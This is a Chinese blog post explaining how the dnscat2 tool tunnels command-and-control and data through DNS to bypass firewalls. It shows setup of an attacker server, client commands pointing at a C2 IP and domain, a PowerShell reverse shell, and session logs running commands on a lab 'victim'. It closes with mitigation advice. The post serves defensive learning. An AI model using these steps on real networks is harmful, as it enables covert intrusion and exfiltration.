12、利用 DNS 隧道傳遞資料和命令來繞過防火牆

FLy_鵬程萬里發表於2018-06-09

不論你對出站流量採取多麼嚴格的訪問控制,你可能都要允許至少對一個伺服器的 DNS 請求。對手就可以利用這個防火牆上的“大洞”來偷運資料,並且建立一個非常難以限制的隱蔽命令控制通道。為了學習 DNS 作為命令控制通道的使用方法,我們今天來介紹一個由 Ron Bowes 開發的工具dnscat2,有了這個工具我們就能輕而易舉的實現這種攻擊技術。 
隧道的部署實施需要一個由攻擊者控制的主機來執行 dnscat2 的伺服器端程式。這個公網上的主機監聽經過 dnscat2 特別定製過的 DNS 請求,這些請求是dnscat2 客戶端元件從受害者的位置發出,可以傳遞資料或者獲得控制指令。

安裝dnscat2伺服器端

為了安裝dnscat2 伺服器端元件,你需要有一臺網際網路可以訪問到的公網主機,並且安裝 Linux 系作業系統。你可以使用公有云提供商,例如 DigitalOcean。我喜歡這種公有云的提供商,他們提供了最低每月五美元的低端虛擬專用伺服器,這樣對我們 dnscat2 的實驗再好不過。很簡單的就可以部署一個 Ubuntu 例項: 


一旦主機例項建立完成,登入後要用 root 來執行以下命令,這些都是安裝 dnscat2 伺服器端所必須的,我們假定你使用的也是 Ubuntu:

apt-get update
apt-get -y install ruby-dev git make g++
gem install bundler
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
bundle install

全部正確執行後,至此 dnscat2 的伺服器端就安裝完畢了,但是我們還沒有啟動呢

在全部 DNS 請求都被允許的情況下的 C2 通道

我們假定了一種場景,在這種場景下目標環境允許全部 DNS 出站流量和任意 DNS 伺服器進行通訊。在這種情況下,你可以不配置任何引數直接啟用 dnscat2 的伺服器端,使用 root 使用者來執行如下命令就可以在公網伺服器上啟用 dnscat2 的伺服器端。 

ruby ./dnscat2.rb 
你應該在 dnscat2 的安裝目錄下執行這些命令,在我們的演示示例中路徑是 dnscat2/server。啟用完成後, dnscat2 的伺服器端元件就會開始監聽 53 埠,出現互動式 Shell 後就可以遠端控制執行 dnscat2 客戶端元件的系統。 
接下來,使用你的系統來模擬受害者的主機,不加任何引數就可以執行 dnscat2 客戶端程式。如果在 Windows 上執行,你應該在作者的網站上下載預先構建好的 dnscat2 可執行程式。你應該帶著 --host 引數來執行客戶端程式,在 host 引數後帶上你伺服器的 IP 地址或者主機名。在我的實驗中,我的 dnscat2 伺服器端的 IP 地址是 104.131.93.152,所以我這樣來執行 dnscat2 客戶端 dnscat2-win32.exe --host 104.131.93.152 

當客戶端執行起來,我們的 dnscat2 伺服器會立即通知我有客戶端系統和伺服器建立了連線,然後為我提供一個遠控的 Shell。為了簡介起見,我在下面只摘錄了部分有用的資訊:

ruby ./dnscat2.rb
Starting Dnscat2 DNS server on 0.0.0.0:53 [domains = n/a]...
No domains were selected, which means this server will only respond to direct queries (using --host and --port on the client)
dnscat2> New session established: 16059
dnscat2>
這樣我就可以與受感染的系統進行互動了,例如指定啟動記事本:
dnscat2> session -i 16059
Welcome to a command session!
Use 'help' for a list of commands or ^z for the main menu
dnscat [command: 16059]> exec notepad.exe
Sent request to execute
dnscat [command: 16059]>
除了可以在受感染的系統上執行任意命令外, dnscat2 還支援“上傳”和“下載”用以在兩臺主機之間進行資料或程式的傳遞。
監控受害者網路的分析師只會看到 DNS 請求與響應。這種通訊流量將會像“噪音”一樣混入普通的網路通訊中。例如,建立初始 C2 連線時, dnscat2 客戶端準備解析一個 TXT 記錄,就傳送給我的 DNS 伺服器一個請求,就如同我們在 Wireshark 裡看到的。 


為了防止這種情況的發生,真實情況下可能會對出站流量進行限制,只允許和少數受信任的伺服器進行 DNS 通訊。在本例中,這種方法就會限制對我的命令控制伺服器(104.131.93.152)進行 DNS 出站請求。不幸的是,以 DNS 為隧道的命令控制流量仍然可以通過下面的方法完成控制。

只允許和受信任的 DNS 伺服器通訊時的命令控制通道

為了完成更健壯的命令控制配置,對手可以註冊一個域名並指定執行 dnscat2 伺服器軟體的系統作為該域名的權威 DNS 伺服器。這種方法下, dnscat2 客戶端不再需要直接和命令控制伺服器進行連線了。相反,受感染的主機將會對受受害者信任的伺服器發起對惡意域名的請求,受其信任的 DNS 伺服器將會把這個請求轉發給命令控制伺服器並且返回它的響應給客戶端。在這種情況下,看似受保護的環境只能訪問受信任的 DNS 伺服器,但是受信任的 DNS 伺服器也必須和外部 DNS 伺服器進行通訊才能解決無法直接響應的請求。

我配置我的實驗域名為 combatingmalware.com 並且繫結了 104.131.93.152 這個地址作為權威域名伺服器。然後我啟動了 dnscat2 的伺服器程式,指定這個域名來作為命令控制的通道。

我配置我的實驗域名為 combatingmalware.com 並且繫結了 104.131.93.152 這個地址作為權威域名伺服器。然後我啟動了 dnscat2 的伺服器程式,指定這個域名來作為命令控制的通道。
ruby ./dnscat2.rb combatingmalware.com
Handling requests for the following domain(s):
combatingmalware.com
Starting Dnscat2 DNS server on 0.0.0.0:53 [domains = combatingmalware.com]...
Will also accept direct queries (using --host and --port on the client)
dnscat2>
這次,dnscat2 客戶端沒有直接給我的命令控制伺服器傳送 DNS 請求。相反,受害者的主機和標準的、受信任的 DNS 伺服器進行了通訊,嘗試解析combatingmalware.com域名的主機名,正如在 Wireshark 中看到的: 


正如預期的那樣,我們的命令控制伺服器並不會直接和受害者的主機進行資料包的交換。我們的實驗使用了 OpenDNS 的伺服器,所以我們只和 OpenDNS 的伺服器進行了通訊。以下是我在伺服器端執行 tcpdump 時捕捉到的流量:

208.67.217.11.1679 > 104.131.93.152.53: 59036 [1au] TXT? 35bc006955018b0021636f6d6d616e642073657373696f6e00.combatingmalware.com.
104.131.93.152.53 > 208.67.217.11.1679: 59036*- q: TXT? 35bc006955018b0021636f6d6d616e642073657373696f6e00.combatingmalware.com. 1/0/0 [1d] TXT "6c29006955d5b70000"
208.67.217.21.2584 > 104.131.93.152.53: 41672 [1au] TXT? 3f29016955018bd5b7.combatingmalware.com.
104.131.93.152.53 > 208.67.217.21.2584: 41672*- q: TXT? 3f29016955018bd5b7.combatingmalware.com. 1/0/0 [1d] TXT "11b8016955d5b7018b"

這意味著,即使你對你的環境進行了配置,只允許可信的內部或外部伺服器來應對 DNS 解析,並且封鎖其他全部的 DNS 出站流量,對手仍然可以通過你認為正常的 DNS 基礎結構來進行命令控制通訊。 
如果你想集中你的精力在阻止 dnscat2 客戶端在你的 Windows 系統上執行,阻止全部的惡意軟體?聽起來是個好主意,但是你最好確保你也能控制住 PowerShell,就像下面這個場景所展示的一樣:

使用 PowerShell 客戶端進行 DNS 隧道通訊

相比於安裝完全版本的 dnscat2 客戶端,對手可以在被破壞的系統上使用 PowerShell 來與 dnscat2 進行通訊。 Luke Baggett 的 dnscat2.ps1 指令碼通過執行某些 dnscat2 的控制命令來達到使用 DNS 隧道進行通訊的能力。 
對 dnscat2.ps1 進行實驗,我把這個 PowerShell 指令碼引入受害者的主機,然後通過 dnscat2 命令列工具的指引來通過 combatingmalware.com 域名開啟一個與我的命令控制伺服器連結的反彈 Shell。操作如下: 


正如前面的例子所示,流量通過 DNS 隧道傳輸。我能夠間接地與命令提示符互動,這樣令我可以在受害者的主機上執行任意命令:

dnscat2> New session established: 9024
dnscat2> session -i 9024
Welcome to session 9024!
If it's a shell session and you're not seeing output, try typing "pwd" or something!
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Users\REM\Desktop>

怎樣阻止 DNS 作為通道進行命令與控制

DNS 的本質是允許企業系統通過發起 DNS 請求來與網路上任意主機進行通訊。這項能力使得像 dnscat2 這樣的工具可以在 DNS 流量中隱藏資料和命令來繞過傳統的網路安全策略。我努力想拿出一個解決方案來堵住防火牆上的“洞”,我沒能做到。但是我有一些降低風險的建議:

  • 對你網路內的主機被允許訪問的 DNS 伺服器的數量進行限制,這不但使攻擊者的通道部署變得更加複雜,而且還限制了你需要監控的 DNS 互動型別。
  • 如果可能的話,直接將 DNS 流量通過一系列你控制的 DNS 伺服器,這樣你可以隨時檢查它們,並且在需要的時候任意修改配置。
  • 監視 DNS 異常活動,檢視 DNS 伺服器或者檢視網路日誌。用於命令控制的 DNS 互動往往會表現出時序和負載上的背離,這種偏差會讓你發現存在問題。 
    (詳情請看論文by Greg Farnhamadvice from Lance James 和 suggestions from Martin Lee

使用 DNS 來傳遞資料和控制命令並不是第一天提出。然而,如同 dnscat2 這樣的工具讓這項技術變得極其容易實施,不論是用於惡意目的、滲透測試還是個人實驗。對於使用 DNS 請求來暗中竊取資料的實際例子請看BernhardPOS 和 MULTIGRAIN這兩個惡意軟體可以學到更多。

閱讀原文

相關文章